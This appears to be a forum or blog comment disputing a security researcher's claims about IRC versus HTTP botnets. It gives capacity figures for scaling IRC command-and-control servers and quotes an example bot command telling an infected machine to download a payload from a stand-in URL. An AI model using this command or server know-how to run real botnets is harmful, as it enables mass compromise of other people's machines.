Errrr. Luis Corrons needs to do his homework
OK where to start?
1. IRC controlled botnets as seen by the Dutch herders that got busted in style last year can control hundreds of thousands of bots. I doubt a HTTP controlled net has even got close to that, I have certainly not seen any reports of this anyway. In fact I have not even seen a stable prototype that can deal with more than a few thousand at a time.. IRC servers can be installed on windows or *nix machines then linked together, 1 Unreal server with a little modification can hold upwards of 1000 bots on an average windows server, 4-5,000 on a good windows server and 10,000+ on a fast *nix server, consider that when you link 20 or even 40 of these servers together you may then simultaneously control anywhere from 40,000 to 200,000 to.. Well, limitless.
2. Is Luis Corron saying that with IRC controlled you CANNOT see when a command is executed? If not then maybe he needs to re-phrase his comments. IRC is realtime or as real time as you can get - most IRC controlled bots display a message after a command is executed such as "File Executed", "Upload Complete" "Scanning range 184.108.40.206-220.127.116.11" etc..
3. Correct, IRC is useful for controlling isolated computers - for example you may private message a command to a bot or you may in some cases type the bots IRC name and then the command (Sdbot1109 !download http://www.google.com/virus.exe). However you may also issue a command to an entire channel of bots where there could be many thousands - executing commands on mass! This was a completely moronic and pointless comment. Go back to bot school Mr Carron.
There is nothing a HTTP bot can do that an IRC bot cannot.
Why is he even being quoted when he blatantly doesn't have a clue?
If this is the salvation from our bot infested misery then please help us Lord Satan.